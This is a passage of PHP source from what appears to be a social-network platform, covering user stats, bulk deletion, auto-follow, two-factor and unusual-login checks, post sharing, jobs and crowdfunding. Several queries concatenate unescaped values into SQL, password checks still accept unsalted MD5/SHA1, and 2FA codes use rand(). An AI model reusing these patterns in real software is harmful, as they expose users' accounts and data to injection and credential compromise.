Wo_GetMedia($fetched_data['thumb']['filename']); $fetched_data['videos'] = Wo_GetStoryMedia($fetched_data['id'], 'video'); $fetched_data['is_owner'] = ($fetched_data['user_id'] == $wo['user']['id'] || Wo_IsAdmin() || Wo_IsModerator()) ? true : false; $data[] = $fetched_data; } return $data; } function Wo_HashPassword($password = '', $hashed_password = '') { global $wo, $sqlConnect; if (empty($password)) { return ''; } $hash = 'md5'; if (preg_match('/^[a-f0-9]{32}$/', $hashed_password)) { $hash = 'md5'; } else if (preg_match('/^[0-9a-f]{40}$/i', $hashed_password)) { $hash = 'sha1'; } else if (strlen($hashed_password) == 60) { $hash = 'password_hash'; } if ($hash == 'password_hash') { if (password_verify($password, $hashed_password)) { return true; } } else { $password = $hash($password); } if ($password == $hashed_password) { return true; } return false; } function Wo_UpdateUserDetails($user_id = 0, $me = false, $time = true, $get_data = false, $counts = false) { global $wo, $sqlConnect; if (empty($user_id)) { return false; } if ($me == true && is_array($user_id)) { $wo['user_profile'] = $user_id; } else { $user_id = Wo_Secure($user_id); $wo['user_profile'] = Wo_UserData($user_id); } if (empty($wo['user_profile'])) { return false; } $last_data_update_time = time() - $wo['config']['update_user_profile']; $time_now = time(); $cache = false; if ($time == true) { if ($wo['user_profile']['last_data_update'] < $last_data_update_time) { $cache = true; } } else { $cache = true; } if ($cache == true) { $final_data = array( 'post_count' => Wo_CountUserPosts($wo['user_profile']['user_id']), 'album_count' => Wo_CountUserAlbums($wo['user_profile']['user_id']), 'following_count' => Wo_CountFollowing($wo['user_profile']['user_id']), 'followers_count' => Wo_CountFollowers($wo['user_profile']['user_id']), 'groups_count' => Wo_CountUserGroups($wo['user_profile']['user_id']), 'likes_count' => Wo_CountUserLikes($wo['user_profile']['user_id']), 'mutual_friends_count' => Wo_CountMutualFriends($wo['user_profile']['user_id']) ); if ($counts == false) { $get_following_ids = Wo_GetFollowing($wo['user_profile']['user_id'], 'profile', 9); $following_ids = array(); foreach ($get_following_ids as $key => $user) { $following_ids[] = $user['user_id']; } $get_followers_ids = Wo_GetFollowers($wo['user_profile']['user_id'], 'profile', 9); $followers_ids = array(); foreach ($get_followers_ids as $key => $user) { $followers_ids[] = $user['user_id']; } $get_mutual_ids = Wo_GetMutualFriends($wo['user_profile']['user_id'], 'profile', 9); $mutual_ids = array(); if (!empty($get_mutual_ids)) { foreach ($get_mutual_ids as $key => $user) { $mutual_ids[] = $user['user_id']; } } $get_likes_ids = Wo_GetLikes($wo['user_profile']['user_id'], 'profile', 9); $likes_ids = array(); foreach ($get_likes_ids as $key => $page) { $likes_ids[] = $page['page_id']; } $get_groups_ids = Wo_GetUsersGroups($wo['user_profile']['user_id'], 9); $groups_ids = array(); foreach ($get_groups_ids as $key => $group) { $groups_ids[] = $group['id']; } $sidebar_data = array( 'following_data' => $following_ids, 'followers_data' => $followers_ids, 'likes_data' => $likes_ids, 'groups_data' => $groups_ids, 'mutual_friends_data' => $mutual_ids ); $sidebar_data = json_encode($sidebar_data); } $user_id = $wo['user_profile']['user_id']; $details = json_encode($final_data); if ($counts == false) { $query = mysqli_query($sqlConnect, "UPDATE " . T_USERS . " SET `last_data_update` = '$time_now', `details` = '$details', `sidebar_data` = '$sidebar_data' WHERE user_id = '$user_id'"); } else { $query = mysqli_query($sqlConnect, "UPDATE " . T_USERS . " SET `last_data_update` = '$time_now', `details` = '$details' WHERE user_id = '$user_id'"); } if ($query && $get_data == true) { return Wo_UserData($wo['user_profile']['user_id']); } } } function Wo_DeleteAllData($type = 0) { global $wo, $sqlConnect; if (empty($type) || Wo_IsAdmin() == false) { return false; } $me = $wo['user']['user_id']; if ($type == 1) { $query = mysqli_query($sqlConnect, "SELECT user_id FROM " . T_USERS . " WHERE active = '0' OR active = '2'"); if (mysqli_num_rows($query)) { while ($row = mysqli_fetch_assoc($query)) { $delete_user = Wo_DeleteUser($row['user_id']); } } } if ($type == 2) { $time = strtotime("-1 week"); $query = mysqli_query($sqlConnect, "SELECT user_id FROM " . T_USERS . " WHERE lastseen < $time AND status = '0' AND user_id <> $me"); if (mysqli_num_rows($query)) { while ($row = mysqli_fetch_assoc($query)) { $delete_user = Wo_DeleteUser($row['user_id']); } } } if ($type == 3) { $time = strtotime("-1 month"); $query = mysqli_query($sqlConnect, "SELECT user_id FROM " . T_USERS . " WHERE lastseen < $time AND status = '0' AND user_id <> $me"); if (mysqli_num_rows($query)) { while ($row = mysqli_fetch_assoc($query)) { $delete_user = Wo_DeleteUser($row['user_id']); } } } if ($type == 4) { $time = strtotime("-1 year"); $query = mysqli_query($sqlConnect, "SELECT user_id FROM " . T_USERS . " WHERE lastseen < $time AND status = '0' AND user_id <> $me"); if (mysqli_num_rows($query)) { while ($row = mysqli_fetch_assoc($query)) { $delete_user = Wo_DeleteUser($row['user_id']); } } } if ($type == 5) { $time = strtotime("-1 week"); $query = mysqli_query($sqlConnect, "SELECT id FROM " . T_POSTS . " WHERE time < $time AND user_id <> $me"); if (mysqli_num_rows($query)) { while ($row = mysqli_fetch_assoc($query)) { $delete_post = Wo_DeletePost($row['id']); } } } if ($type == 6) { $time = strtotime("-1 month"); $query = mysqli_query($sqlConnect, "SELECT id FROM " . T_POSTS . " WHERE time < $time AND user_id <> $me"); if (mysqli_num_rows($query)) { while ($row = mysqli_fetch_assoc($query)) { $delete_post = Wo_DeletePost($row['id']); } } } if ($type == 7) { $time = strtotime("-1 year"); $query = mysqli_query($sqlConnect, "SELECT id FROM " . T_POSTS . " WHERE time < $time AND user_id <> $me"); if (mysqli_num_rows($query)) { while ($row = mysqli_fetch_assoc($query)) { $delete_post = Wo_DeletePost($row['id']); } } } return true; } function Wo_AutoFollow($user_id = 0) { global $wo, $db; if (empty($user_id)) { return false; } if (!is_numeric($user_id) || $user_id == 0) { return false; } $wo['loggedin'] = true; $wo['user']['user_id'] = $user_id; $get_users = explode(',', $wo['config']['auto_friend_users']); if (!empty($get_users)) { foreach ($get_users as $key => $user) { $user = trim($user); $user = Wo_Secure($user); $getUserID = Wo_UserIdFromUsername($user); if (!empty($getUserID)) { if ($wo['config']['connectivitySystem'] == 1) { $registerFollow = Wo_RegisterFollow($wo['user']['user_id'], $getUserID); $registerFollow = Wo_AcceptFollowRequest($getUserID, $wo['user']['user_id']); } else { $registerFollow = Wo_RegisterFollow($getUserID, $wo['user']['user_id']); } } } return true; } else { return false; } } function Wo_AutoPageLike($user_id = 0) { global $wo, $db; if (empty($user_id)) { return false; } if (!is_numeric($user_id) || $user_id == 0) { return false; } $wo['loggedin'] = true; $wo['user']['user_id'] = $user_id; $pages_name = explode(',', $wo['config']['auto_page_like']); if (!empty($pages_name)) { foreach ($pages_name as $key => $page_name) { $page_name = trim($page_name); $page_name = Wo_Secure($page_name); $page_id = Wo_PageIdFromPagename($page_name); Wo_RegisterPageLike($page_id, $wo['user']['user_id']); } return true; } else { return false; } } function Wo_AutoGroupJoin($user_id = 0) { global $wo, $db; if (empty($user_id)) { return false; } if (!is_numeric($user_id) || $user_id == 0) { return false; } $wo['loggedin'] = true; $wo['user']['user_id'] = $user_id; $groups_name = explode(',', $wo['config']['auto_group_join']); if (!empty($groups_name)) { foreach ($groups_name as $key => $group_name) { $group_name = trim($group_name); $group_name = Wo_Secure($group_name); $group_id = Wo_GroupIdFromGroupname($group_name); Wo_RegisterGroupJoin($group_id, $wo['user']['user_id']); } return true; } else { return false; } } function Wo_MarkAllChatsAsRead($user_id = 0) { global $wo, $db; if (Wo_IsAdmin() === false) { if ($wo['user']['user_id'] != $user_id) { return false; } } $update = $db->where('to_id', $user_id)->update(T_MESSAGES, array( 'seen' => time() )); if ($update) { return true; } return false; } function Wo_TwoFactor($username = '', $id_or_u = 'user') { global $wo, $db; if (empty($username)) { return true; } if ($wo['config']['two_factor'] == 0) { return true; } if ($id_or_u == 'id') { $getuser = Wo_UserData($username); } else { $getuser = Wo_UserData(Wo_UserIdForLogin($username)); } if ($getuser['two_factor'] == 0 || $getuser['two_factor_verified'] == 0) { return true; } $code = rand(111111, 999999); $hash_code = md5($code); $update_code = $db->where('user_id', $getuser['user_id'])->update(T_USERS, array( 'email_code' => $hash_code )); $message = "Your confirmation code is: $code"; if (!empty($getuser['phone_number']) && ($wo['config']['two_factor_type'] == 'both' || $wo['config']['two_factor_type'] == 'phone')) { $send_message = Wo_SendSMSMessage($getuser['phone_number'], $message); } if ($wo['config']['two_factor_type'] == 'both' || $wo['config']['two_factor_type'] == 'email') { $send_message_data = array( 'from_email' => $wo['config']['siteEmail'], 'from_name' => $wo['config']['siteName'], 'to_email' => $getuser['email'], 'to_name' => $getuser['name'], 'subject' => 'Please verify that it’s you', 'charSet' => 'utf-8', 'message_body' => $message, 'is_html' => true ); $send = Wo_SendMessage($send_message_data); } return false; } function Wo_VerfiyIP($username = '') { global $wo, $db; if (empty($username)) { return false; } if ($wo['config']['login_auth'] == 0) { return true; } $getuser = Wo_UserData(Wo_UserIdForLogin($username)); $get_ip = get_ip_address(); $getIpInfo = fetchDataFromURL("http://ip-api.com/json/$get_ip"); $getIpInfo = json_decode($getIpInfo, true); if ($getIpInfo['status'] == 'success' && !empty($getIpInfo['regionName']) && !empty($getIpInfo['countryCode']) && !empty($getIpInfo['timezone']) && !empty($getIpInfo['city'])) { $create_new = false; $_SESSION['last_login_data'] = $getIpInfo; if (empty($getuser['last_login_data'])) { $create_new = true; } else { $lastLoginData = (Array) json_decode($getuser['last_login_data']); if (($getIpInfo['regionName'] != $lastLoginData['regionName']) || ($getIpInfo['countryCode'] != $lastLoginData['countryCode']) || ($getIpInfo['timezone'] != $lastLoginData['timezone']) || ($getIpInfo['city'] != $lastLoginData['city'])) { // send email $code = rand(111111, 999999); $hash_code = md5($code); $wo['email']['username'] = $getuser['name']; $wo['email']['countryCode'] = $getIpInfo['countryCode']; $wo['email']['timezone'] = $getIpInfo['timezone']; $wo['email']['email'] = $getuser['email']; $wo['email']['ip_address'] = $get_ip; $wo['email']['code'] = $code; $wo['email']['city'] = $getIpInfo['city']; $wo['email']['date'] = date("Y-m-d h:i:sa"); $update_code = $db->where('user_id', $getuser['user_id'])->update(T_USERS, array( 'email_code' => $hash_code )); $email_body = Wo_LoadPage("emails/unusual-login"); $send_message_data = array( 'from_email' => $wo['config']['siteEmail'], 'from_name' => $wo['config']['siteName'], 'to_email' => $getuser['email'], 'to_name' => $getuser['name'], 'subject' => 'Please verify that it’s you', 'charSet' => 'utf-8', 'message_body' => $email_body, 'is_html' => true ); $send = Wo_SendMessage($send_message_data); if ($send && !empty($_SESSION['last_login_data'])) { return false; } else { return true; } } else { return true; } } if ($create_new == true) { $lastLoginData = json_encode($getIpInfo); $update_user = $db->where('user_id', $getuser['user_id'])->update(T_USERS, array( 'last_login_data' => $lastLoginData )); return true; } return false; } else { return true; } } function Wo_GetAllStatus() { global $wo, $db; $user_id = $wo['user']['user_id']; return $db->rawQuery("SELECT DISTINCT user_id,title,description,posted,expire,thumbnail,(SELECT MAX(us.id) FROM " . T_USER_STORY . " us WHERE us.user_id = " . T_USER_STORY . ".user_id) AS id FROM " . T_USER_STORY . " WHERE (user_id IN (SELECT following_id FROM " . T_FOLLOWERS . " WHERE follower_id = '$user_id') OR user_id = $user_id) AND user_id IN (SELECT user_id FROM " . T_USERS . " WHERE active = '1') GROUP BY user_id ORDER BY id DESC"); } function Wo_SharePostOn($id = false, $type_id = 0, $type = '') { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !$id || $id < 1 || !$type_id) { return false; } $id = Wo_Secure($id); $user = $wo['user']['id']; $time = time(); $sql = ''; // if (Wo_IsPostShared($id)) { // $shared_post = Wo_PostData($id); // $post = mysqli_query($sqlConnect, "SELECT * FROM " . T_POSTS . " WHERE `id` = {$shared_post['parent_id']}"); // $post_data = mysqli_fetch_assoc($post); // } else { $post = mysqli_query($sqlConnect, "SELECT * FROM " . T_POSTS . " WHERE `id` = {$id}"); $post_data = mysqli_fetch_assoc($post); //} if ($post) { $post_data['user_id'] = $user; if ($type == 'group' && !empty($type_id)) { $post_data['group_id'] = $type_id; } if ($type == 'page' && !empty($type_id)) { $post_data['page_id'] = $type_id; $post_data['user_id'] = 0; } if (($type == 'user' || $type == 'timeline') && !empty($type_id)) { $post_data['user_id'] = $type_id; $post_data['page_id'] = 0; $post_data['group_id'] = 0; } $post_data['id'] = 0; $post_data['post_id'] = 0; $post_data['post_url'] = Wo_SeoLink('index.php?link1=post&id=' . $id); $post_data['parent_id'] = $id; $post_data['boosted'] = 0; $post_data['time'] = time(); $post_data['postText'] = ''; $post_data['postType'] = ''; $post_data['comments_status'] = 1; // $post_data['stream_name'] = ''; // $post_data['live_time'] = 0; $fields = '`' . implode('`, `', array_keys($post_data)) . '`'; $data = '\'' . implode('\', \'', $post_data) . '\''; $sql = "INSERT INTO " . T_POSTS . " ({$fields}) VALUES ({$data})"; $query1 = mysqli_query($sqlConnect, $sql); $last = mysqli_insert_id($sqlConnect); if (!empty($post_data['album_name'])) { $query = mysqli_query($sqlConnect, "SELECT `id`,`image`,`post_id` FROM " . T_ALBUMS_MEDIA . " WHERE `post_id` = {$id} ORDER BY `id` DESC"); if (mysqli_num_rows($query)) { while ($fetched_data = mysqli_fetch_assoc($query)) { $media = $fetched_data['image']; mysqli_query($sqlConnect, "INSERT INTO " . T_ALBUMS_MEDIA . " (`post_id`,`image`) VALUES ({$last}, '{$media}')"); } } } $query2 = mysqli_query($sqlConnect, "UPDATE " . T_POSTS . " SET `post_id` = {$last} WHERE `id` = {$last}"); if ($query1 && $query2) { return $last; } } return false; } // manage packages function Wo_GetProInfo($type) { global $sqlConnect, $wo; $type = Wo_Secure($type); $pro = mysqli_query($sqlConnect, "SELECT * FROM " . T_MANAGE_PRO . " WHERE `type` = '{$type}'"); if ($pro) { $pro_info = mysqli_fetch_assoc($pro); return $pro_info; } return false; } function Wo_updateProInfo($update_data) { global $sqlConnect, $wo; if (empty($update_data['type'])) { return false; } $types = array( 'star' => '1', 'hot' => '2', 'ultima' => '3', 'vip' => '4' ); $pro_type = $types[$update_data['type']]; $type = Wo_Secure($update_data['type']); $update = array(); foreach ($update_data as $field => $data) { if ($field == 'price' || $field == 'featured_member' || $field == 'profile_visitors' || $field == 'last_seen' || $field == 'verified_badge' || $field == 'posts_promotion' || $field == 'pages_promotion' || $field == 'discount' || $field == 'image' || $field == 'night_image' || $field == 'status' || $field == 'time') { $update[] = '`' . $field . '` = \'' . Wo_Secure($data, 0) . '\''; } } $impload = implode(', ', $update); $query_one = " UPDATE " . T_MANAGE_PRO . " SET {$impload} WHERE `type` = '{$type}' "; $query1 = mysqli_query($sqlConnect, $query_one); if ($query1) { return true; } else { return false; } } // manage packages function Wo_DeleteAllUserPosts($user_id) { global $sqlConnect, $wo; if (empty($user_id) || !is_numeric($user_id) || $user_id < 1 || !Wo_IsAdmin()) { return false; } $posts = mysqli_query($sqlConnect, "SELECT `id` FROM " . T_POSTS . " WHERE `user_id` = {$user_id}"); if ($posts) { while ($fetched_data = mysqli_fetch_assoc($posts)) { Wo_DeletePost($fetched_data['id']); } return true; } return false; } function Wo_InsertBankTrnsfer($inserted_data) { global $wo, $sqlConnect, $db; if (empty($inserted_data)) { return false; } $notification_data_array = array( 'recipient_id' => 0, 'type' => 'bank', 'time' => time(), 'admin' => 1 ); $db->insert(T_NOTIFICATION, $notification_data_array); $fields = '`' . implode('`, `', array_keys($inserted_data)) . '`'; $data = '\'' . implode('\', \'', $inserted_data) . '\''; $query = mysqli_query($sqlConnect, "INSERT INTO " . T_BANK_TRANSFER . " ({$fields}) VALUES ({$data})"); if ($query) { return mysqli_insert_id($sqlConnect); } return false; } function Wo_GetPageJobs($page_id) { global $wo, $sqlConnect, $db; if ($wo['loggedin'] == false || empty($page_id)) { return false; } $data = array(); $page_id = Wo_Secure($page_id); $jobs = $db->where('page_id', $page_id)->orderBy('id', 'DESC')->get(T_JOB); $page = Wo_PageData($page_id); $data = array(); if (!empty($jobs)) { foreach ($jobs as $key => $value) { $data[$key] = (array) $value; if (!empty($data[$key]['question_one_answers'])) { $data[$key]['question_one_answers'] = json_decode($data[$key]['question_one_answers'], true); } if (!empty($data[$key]['question_two_answers'])) { $data[$key]['question_two_answers'] = json_decode($data[$key]['question_two_answers'], true); } if (!empty($data[$key]['question_three_answers'])) { $data[$key]['question_three_answers'] = json_decode($data[$key]['question_three_answers'], true); } $apply = $db->where('user_id', $wo['user']['id'])->where('job_id', $data[$key]['id'])->getValue(T_JOB_APPLY, 'COUNT(*)'); $data[$key]['apply'] = ($apply > 0) ? true : false; // $post = $db->where('job_id',$data[$key]['id'])->getOne(T_POSTS); // $data[$key]['story'] = array(); // if (!empty($post)) { // $data[$key]['story'] = Wo_PostData($post->id); // } $data[$key]['page'] = $page; } } return $data; } function Wo_GetJobById($job_id) { global $wo, $sqlConnect, $db; if (empty($job_id)) { return false; } $data = array(); $job_id = Wo_Secure($job_id); $query_one = " SELECT * FROM " . T_JOB . " WHERE id = '{$job_id}'"; $sql = mysqli_query($sqlConnect, $query_one); if (mysqli_num_rows($sql)) { $jobs = mysqli_fetch_assoc($sql); if (!empty($jobs)) { $page = Wo_PageData($jobs['page_id']); if (!empty($jobs['question_one_answers'])) { $jobs['question_one_answers'] = json_decode($jobs['question_one_answers'], true); } if (!empty($jobs['question_two_answers'])) { $jobs['question_two_answers'] = json_decode($jobs['question_two_answers'], true); } if (!empty($jobs['question_three_answers'])) { $jobs['question_three_answers'] = json_decode($jobs['question_three_answers'], true); } $jobs['page'] = ''; if (!empty($jobs['page_id'])) { $jobs['page'] = $page; } else { $jobs['user'] = Wo_UserData($jobs['user_id']); } $jobs['apply'] = false; if ($wo['loggedin']) { $user_id = $wo['user']['id']; $query = "SELECT COUNT(*) as count FROM " . T_JOB_APPLY . " WHERE `job_id` = '{$job_id}' AND `user_id` = '{$user_id}'"; $query_run = mysqli_query($sqlConnect, $query); $fetched_data = mysqli_fetch_assoc($query_run); $jobs['apply'] = ($fetched_data['count'] > 0) ? true : false; } $query = "SELECT COUNT(*) as count FROM " . T_JOB_APPLY . " WHERE `job_id` = '{$job_id}'"; $query_run = mysqli_query($sqlConnect, $query); $fetched_data = mysqli_fetch_assoc($query_run); $job_apply = $fetched_data['count']; $query_one = " SELECT `id` FROM " . T_POSTS . " WHERE job_id = '{$job_id}'"; $sql = mysqli_query($sqlConnect, $query_one); $fetched_data = mysqli_fetch_assoc($sql); $jobs['url'] = Wo_SeoLink('index.php?link1=post&id=' . $fetched_data['id']); $jobs['apply_count'] = $job_apply; } return $jobs; } return false; } function Wo_GetAllJobs($filter_data = array()) { global $wo, $sqlConnect; $data = array(); $query_one = " SELECT * FROM " . T_JOB . " WHERE status = '1'"; if (!empty($filter_data['c_id'])) { $category = $filter_data['c_id']; $query_one .= " AND `category` = '{$category}'"; } if (!empty($filter_data['after_id'])) { if (is_numeric($filter_data['after_id'])) { $after_id = Wo_Secure($filter_data['after_id']); $query_one .= " AND `id` < '{$after_id}' AND `id` <> $after_id"; } } if (!empty($filter_data['keyword'])) { $keyword = Wo_Secure($filter_data['keyword']); $query_one .= " AND (`title` LIKE '%{$keyword}%' OR `description` LIKE '%{$keyword}%') "; } if (!empty($filter_data['user_id'])) { $user_id = Wo_Secure($filter_data['user_id']); $query_one .= " AND `user_id` = '{$user_id}'"; } if (!empty($filter_data['type'])) { $type = Wo_Secure($filter_data['type']); $query_one .= " AND `job_type` = '{$type}'"; } // if (!empty($filter_data['order_by']) && $filter_data['order_by'] == 'price_low' && !empty($filter_data['price'])) { // $price = Wo_Secure($filter_data['price']); // $query_one .= " AND `price` >= '{$price}'"; // } // else if (!empty($filter_data['order_by']) && $filter_data['order_by'] == 'price_high' && !empty($filter_data['price'])) { // $price = Wo_Secure($filter_data['price']); // $query_one .= " AND `price` <= '{$price}'"; // } if (!empty($filter_data['length'])) { $user_lat = $wo['user']['lat']; $user_lng = $wo['user']['lng']; $unit = 6371; $query_one = " AND status = '1'"; $distance = Wo_Secure($filter_data['length']); if (!empty($filter_data['c_id'])) { $category = $filter_data['c_id']; $query_one .= " AND `category` = '{$category}'"; } if (!empty($filter_data['after_id'])) { if (is_numeric($filter_data['after_id'])) { $after_id = Wo_Secure($filter_data['after_id']); $query_one .= " AND `id` < '{$after_id}' AND `id` <> $after_id"; } } if (!empty($filter_data['keyword'])) { $keyword = Wo_Secure($filter_data['keyword']); $query_one .= " AND (`title` LIKE '%{$keyword}%' OR `description` LIKE '%{$keyword}%') "; } if (!empty($filter_data['user_id'])) { $user_id = Wo_Secure($filter_data['user_id']); $query_one .= " AND `user_id` = '{$user_id}'"; } if (!empty($filter_data['type'])) { $type = Wo_Secure($filter_data['type']); $query_one .= " AND `job_type` = '{$type}'"; } $query_one = "SELECT `id`, `user_id`, ( {$unit} * acos(cos(radians('$user_lat')) * cos(radians(lat)) * cos(radians(lng) - radians('$user_lng')) + sin(radians('$user_lat')) * sin(radians(lat ))) ) AS distance FROM " . T_JOB . " WHERE `lat` <> 0 AND `lng` <> 0 $query_one HAVING distance < '$distance'"; } // if (!empty($filter_data['order_by']) && $filter_data['order_by'] == 'price_low') { // $query_one .= " ORDER BY `price` ASC"; // } // else if (!empty($filter_data['order_by']) && $filter_data['order_by'] == 'price_high') { // $query_one .= " ORDER BY `price` DESC"; // } // else{ $query_one .= " ORDER BY `id` DESC"; //} if (!empty($filter_data['limit'])) { if (is_numeric($filter_data['limit'])) { $limit = Wo_Secure($filter_data['limit']); $query_one .= " LIMIT {$limit}"; } } $sql = mysqli_query($sqlConnect, $query_one); if (mysqli_num_rows($sql)) { while ($fetched_data = mysqli_fetch_assoc($sql)) { $job = Wo_GetJobById($fetched_data['id']); //$products['seller'] = Wo_UserData($fetched_data['user_id']); $data[] = $job; } } return $data; } function Wo_GetApplyJob($info = array()) { global $wo, $sqlConnect, $db; if ($wo['loggedin'] == false || empty($info)) { return false; } $limit = 20; if (!empty($info['limit']) && is_numeric($info['limit']) && $info['limit'] > 0) { $limit = Wo_Secure($info['limit']); } $data = array(); if (!empty($info['job_id']) && is_numeric($info['job_id']) && $info['job_id'] > 0) { $job_id = Wo_Secure($info['job_id']); if (!empty($info['offset']) && is_numeric($info['offset']) && $info['offset'] > 0) { $offset = Wo_Secure($info['offset']); $db->where('id', $offset, '<'); } $jobs = $db->where('job_id', $job_id)->orderBy("id", "DESC")->get(T_JOB_APPLY, $limit); } if (!empty($info['user_id']) && is_numeric($info['user_id']) && $info['user_id'] > 0) { $user_id = Wo_Secure($info['user_id']); if (!empty($info['offset']) && is_numeric($info['offset']) && $info['offset'] > 0) { $offset = Wo_Secure($info['offset']); $db->where('id', $offset, '>'); } $jobs = $db->where('user_id', $user_id)->orderBy("id", "DESC")->get(T_JOB_APPLY, $limit); } if (!empty($jobs)) { foreach ($jobs as $key => $value) { $data[$key] = (array) $value; $data[$key]['job_info'] = Wo_GetJobById($value->job_id); $data[$key]['user_data'] = Wo_UserData($value->user_id); } // $jobs['page'] = $page; // $apply = $db->where('user_id',$wo['user']['id'])->where('job_id',$job_id)->getValue(T_JOB_APPLY,'COUNT(*)'); // $jobs['apply'] = ($apply > 0) ? true : false; // $post = $db->where('job_id',$job_id)->getOne(T_POSTS); // $jobs['url'] = Wo_SeoLink('index.php?link1=post&id=' . $post->id); // $jobs['apply_count'] = $apply; } return $data; } function Wo_GetCommonUsers($args = array()) { global $wo, $sqlConnect; if ($wo['loggedin'] == false) { return false; } $options = array( "before" => false, "after" => false, "limit" => 20, "order_by" => true ); $args = array_merge($options, $args); $before = Wo_Secure($args['before']); $after = Wo_Secure($args['after']); $limit = Wo_Secure($args['limit']); $user = $wo['user']['id']; $t_users = T_USERS; $t_followers = T_FOLLOWERS; $t_block = T_BLOCKS; $data = array(); $sub_sql = ""; if (!empty($wo['user']['relationship_id'])) { $sub_sql .= " `relationship_id` = '" . $wo['user']['relationship_id'] . "' "; } if (!empty($wo['user']['school'])) { if (!empty($sub_sql)) { $sub_sql .= " OR `school` = '" . $wo['user']['school'] . "' "; } else { $sub_sql .= " `school` = '" . $wo['user']['school'] . "' "; } } if (!empty($wo['user']['working'])) { if (!empty($sub_sql)) { $sub_sql .= " OR `working` = '" . $wo['user']['working'] . "' "; } else { $sub_sql .= " `working` = '" . $wo['user']['working'] . "' "; } } if (!empty($wo['user']['birthday']) && $wo['user']['birthday'] != '0000-00-00') { if (!empty($sub_sql)) { $sub_sql .= " OR `birthday` = '" . $wo['user']['birthday'] . "' "; } else { $sub_sql .= " `birthday` = '" . $wo['user']['birthday'] . "' "; } } if (!empty($wo['user']['country_id'])) { if (!empty($sub_sql)) { $sub_sql .= " OR `country_id` = '" . $wo['user']['country_id'] . "' "; } else { $sub_sql .= " `country_id` = '" . $wo['user']['country_id'] . "' "; } } if (!empty($wo['user']['city'])) { if (!empty($sub_sql)) { $sub_sql .= " OR `city` = '" . $wo['user']['city'] . "' "; } else { $sub_sql .= " `city` = '" . $wo['user']['city'] . "' "; } } $sub_sql2 = ""; if ($before && is_numeric($before) && $before > 0) { $sub_sql2 = " AND `user_id` > '$before' "; } if ($after && is_numeric($after) && $after > 0) { $sub_sql2 = " AND `user_id` < '$after' "; } $order_by = ""; if ($args['order_by'] == true) { $order_by = " ORDER BY `user_id` DESC "; } $sql = " SELECT `user_id` FROM $t_users WHERE `user_id` <> '$user' AND ({$sub_sql}) AND `user_id` NOT IN (SELECT `following_id` FROM $t_followers WHERE `follower_id` = {$user} AND `following_id` <> {$user} AND `active` = '1') AND `user_id` NOT IN (SELECT `blocked` FROM $t_block WHERE `blocker` = {$user} AND `blocked` <> {$user}) AND `user_id` NOT IN (SELECT `blocker` FROM $t_block WHERE `blocked` = {$user} AND `blocker` <> {$user}) {$sub_sql2} {$order_by} LIMIT $limit "; //print_r($sql); $query = mysqli_query($sqlConnect, $sql); if ($query && mysqli_num_rows($query)) { while ($fetched_data = mysqli_fetch_assoc($query)) { $fetched_data['user_data'] = Wo_UserData($fetched_data['user_id']); $fetched_data['user_data']['age'] = Wo_GetUserCountryName($fetched_data['user_data']); $fetched_data['user_geoinfo'] = $fetched_data['user_data']['lat'] . ',' . $fetched_data['user_data']['lng']; $fetched_data['distance'] = 30; $fetched_data['common_things'] = 0; if (!empty($wo['user']['relationship_id']) && !empty($fetched_data['user_data']['relationship_id']) && $wo['user']['relationship_id'] == $fetched_data['user_data']['relationship_id']) { $fetched_data['common_things'] = $fetched_data['common_things'] + 1; } if (!empty($wo['user']['school']) && !empty($fetched_data['user_data']['school']) && $wo['user']['school'] == $fetched_data['user_data']['school']) { $fetched_data['common_things'] = $fetched_data['common_things'] + 1; } if (!empty($wo['user']['working']) && !empty($fetched_data['user_data']['working']) && $wo['user']['working'] == $fetched_data['user_data']['working']) { $fetched_data['common_things'] = $fetched_data['common_things'] + 1; } if (!empty($wo['user']['country_id']) && !empty($fetched_data['user_data']['country_id']) && $wo['user']['country_id'] == $fetched_data['user_data']['country_id']) { $fetched_data['common_things'] = $fetched_data['common_things'] + 1; } if (!empty($wo['user']['city']) && !empty($fetched_data['user_data']['city']) && $wo['user']['city'] == $fetched_data['user_data']['city']) { $fetched_data['common_things'] = $fetched_data['common_things'] + 1; } if (!empty($wo['user']['birthday']) && !empty($fetched_data['user_data']['birthday']) && $wo['user']['birthday'] == $fetched_data['user_data']['birthday'] && $wo['user']['birthday'] != '0000-00-00' && $fetched_data['user_data']['birthday'] != '0000-00-00') { $fetched_data['common_things'] = $fetched_data['common_things'] + 1; } if ($fetched_data['user_data']['share_my_location'] == 1) { $data[] = $fetched_data; } } } return $data; } function GetFundingByUserId($user_id, $limit = 6, $offset = 0) { global $wo, $sqlConnect, $db; if (empty($user_id) || !is_numeric($user_id) || $user_id < 1) { return false; } $user_id = Wo_Secure($user_id); $limit = Wo_Secure($limit); $data = array(); if (!empty($offset) && $offset > 0) { $db->where('id', $offset, '<'); } $funding = $db->where('user_id', $user_id)->orderBy('id', 'DESC')->get(T_FUNDING, $limit); if (!empty($funding)) { foreach ($funding as $key => $fund) { $new_data = $fund; $new_data->image = Wo_GetMedia($new_data->image); $new_data->raised = $db->where('funding_id', $new_data->id)->getValue(T_FUNDING_RAISE, "SUM(amount)"); $new_data->bar = 0; if (empty($new_data->raised)) { $new_data->raised = 0; } elseif (!empty($new_data->raised) && $new_data->raised >= $new_data->amount) { $new_data->bar = 100; } elseif (!empty($new_data->raised) && $new_data->raised < $new_data->amount && $new_data->raised > 0) { $percent = ($new_data->raised * 100) / $new_data->amount; $new_data->bar = $percent; } $new_data->user_data = Wo_UserData($fund->user_id); $new_data->is_donate = $db->where('funding_id', $fund->id)->where('user_id', $wo['user']['id'])->getValue(T_FUNDING_RAISE, "COUNT(*)"); $new_data = (Array) $new_data; $data[] = $new_data; } } return $data; } function GetFundingById($id, $type = 'id') { global $wo, $sqlConnect, $db; if (empty($id)) { return false; } $id = Wo_Secure($id); $data = array(); if ($type == 'hash') { $funding = $db->where('hashed_id', $id)->getOne(T_FUNDING); } else { $funding = $db->where('id', $id)->getOne(T_FUNDING); } if (!empty($funding)) { $funding->image = Wo_GetMedia($funding->image); $funding->raised = $db->where('funding_id', $funding->id)->getValue(T_FUNDING_RAISE, "SUM(amount)"); $funding->all_donation = $db->where('funding_id', $funding->id)->getValue(T_FUNDING_RAISE, "COUNT(*)"); $funding->bar = 0; if (empty($funding->raised)) { $funding->raised = 0; } elseif (!empty($funding->raised) && $funding->raised >= $funding->amount) { $funding->bar = 100; } elseif (!empty($funding->raised) && $funding->raised < $funding->amount && $funding->raised > 0) { $percent = ($funding->raised * 100) / $funding->amount; $funding->bar = $percent; } $funding->user_data = Wo_UserData($funding->user_id); $funding->is_donate = $db->where('funding_id', $funding->id)->where('user_id', $wo['user']['id'])->getValue(T_FUNDING_RAISE, 